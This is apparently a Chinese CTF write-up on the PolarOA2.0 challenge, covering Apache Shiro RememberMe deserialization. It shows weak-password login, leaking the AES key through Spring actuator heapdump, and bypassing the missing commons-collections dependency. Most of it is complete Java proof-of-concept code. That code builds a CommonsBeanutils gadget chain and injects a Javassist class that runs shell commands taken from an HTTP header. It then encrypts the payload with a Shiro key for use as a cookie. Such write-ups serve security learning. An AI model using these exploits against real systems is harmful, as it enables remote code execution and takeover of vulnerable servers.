唉,学
0x01 前言 前几天参加了polarctf
,因为没怎么学过shiro
导致当时polarOA
这道java
题没解出来,特此记录。
0x02 PolarOA2.0 这里直接放题目了:
进环境发现是个登录界面,抓包发现存在RememberMe
字段,初步猜测考点是shiro
:
简单提下漏洞原理:
Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。
客户端:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
服务端:RememberMe Cookie值=>base64解密=>AES解密=>反序列化
这样一来AES加密密钥至关重要,但使用工具无法获得密钥,爆破不出来(可能用了高版本shiro
):
因为不登陆就没法拿cookie
值,想了想有没有其它方式获取key
:
spring端点泄露
但当时尝试访问url/actuator/env
和url/env
直接进报错页面了,后来看wp
才知道得先登录😟
弱口令 admin
,admin123
:
再访问url/actuator/env
发现确实存在敏感信息泄露:
polar
这个靶场挺搞的,这里看到环境变量里已经有flag
了,但交不上去(之前做那个XEE的题也是,phpinfo
恩搜到了flag
,但我就是交不上去🤬):
然后通过 /actuator/heapdump
这个路由导出 jvm
中的堆内存信息,去翻shiro key
:
BV0oz7n9/LtRqn1RENB+Yw==
可用
但这里存在问题,探测利用链发现无可利用链:
这里去看了出题人的博客:
爆破所有利用链发现,没有可利用的链(其实不是,没有爆破出来是因为对Cookie长度做了限制,可测试出传入Cookie的字符串需要小于约3500个字符)
Shiro
是依赖于commons-beanutils
的,比如对于如下pom.xml
,我并没有引入任何有关cb
的依赖,但却可以发现通过引入shiro 1.2.4
间接引入cb1.8.3
:
接下来有两个问题:
没有CC
依赖怎么打shiro
反序列化?
需要缩短我们的payload
,怎么缩短?
第一个问题:
参考文章
先复习一下CB1
这条链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class TESTCB1 { public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("E:\\Clac.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator beanComparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , beanComparator); queue.add(1 ); queue.add(1 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
运行结果:
注意pom.xml
中的一些依赖,注意CB
的版本要和shiro
给的对上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.8.3</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-spring</artifactId > <version > 1.2.4</version > </dependency >
好,那我们现在删掉这个cc依赖会发生什么?
Exception in thread “main” java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:81) at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:59) at TESTCB1.main(TESTCB1.java:20) Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator at java.net.URLClassLoader.findClass(URLClassLoader.java:387) at java.lang.ClassLoader.loadClass(ClassLoader.java:418) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:359) at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
NoClassDefFoundError
异常,找不到 org/apache/commons/collections/comparators/ComparableComparator
这个类。我们明明用的是CB
的链子,为什么会扯到CC
?
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
难道没有commons-collections就无法进行反序列化利用吗?当然有。
无依赖的Shiro反序列化利用链 先来看看org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里使用了,进BeanComparator()
:
在BeanComparator
类的构造函数处,当没有显式传入Comparator
的情况下,则默认使用ComparableComparator
。
所以CB链一定要依赖CC存在吗?当然不是:
既然此时没有ComparableComparator
,我们需要找到一个类来替换,它满足下面这几个条件:
实现java.util.Comparator
接口
实现java.io.Serializable
接口
Java、shiro或commons-beanutils自带,且兼容性强
这里直接给出结果,可以用AttrCompare
:
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public class ShiroCB { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodeField = tc.getDeclaredField("_bytecodes" ); bytecodeField.setAccessible(true ); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); byte [] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class" )); byte [][] codes = {code}; bytecodeField.set(templates, codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ,new AttrCompare ()); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class<PriorityQueue> c = PriorityQueue.class; Field comparetorFied = c.getDeclaredField("comparator" ); comparetorFied.setAccessible(true ); comparetorFied.set(priorityQueue,beanComparator); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
第二个问题:如何缩短我们的payload? 参考文章
其实就是利用Javassist
将写死的恶意类通过动态构造实现缩短,比如对于之前我们弹计算器的恶意类Clac.java
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Clac extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
可以看到,我们不光需要实现AbstractTranslet
中定义的抽象方法,还得引入大量其它包中的类。这样一来就导致我们的payload
长度增加。
那怎么构造呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static CtClass genPayloadForLinux2 () throws NotFoundException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; }
这里其实就是通过Javassist
库动态生成一个类,并在类的构造函数中执行从HTTP请求头获取的命令
最终POC
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.crypto.AesCipherService;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class FinalPoc { public static void main (String[] args) throws Exception { final TemplatesImpl templates = getTemplate(); BeanComparator beanComparator = new BeanComparator ("outputProperties" ,new AttrCompare ()); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class<PriorityQueue> c = PriorityQueue.class; Field comparetorFied = c.getDeclaredField("comparator" ); comparetorFied.setAccessible(true ); comparetorFied.set(priorityQueue,beanComparator); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==" )); byte [] bytes = byteArrayOutputStream.toByteArray(); System.out.println(aes.encrypt(bytes, key)); } public static CtClass genPayloadForLinux2 () throws NotFoundException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } public static TemplatesImpl getTemplate () throws Exception { CtClass clz = genPayloadForLinux2(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clz.toBytecode()}); setFieldValue(obj, "_name" , "a" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); return obj; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
这样写也行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 public class FinalPoc2 { public static void main (String[] args) throws Exception { final TemplatesImpl templates = getTemplate(); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(queue); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==" )); byte [] bytes = byteArrayOutputStream.toByteArray(); System.out.println(aes.encrypt(bytes, key)); } public static CtClass genPayloadForLinux2 () throws NotFoundException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public spring() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } public static TemplatesImpl getTemplate () throws Exception { CtClass clz = genPayloadForLinux2(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clz.toBytecode()}); setFieldValue(obj, "_name" , "a" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); return obj; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
然后执行命令就行:
0x03结语 😟java学习任重而道远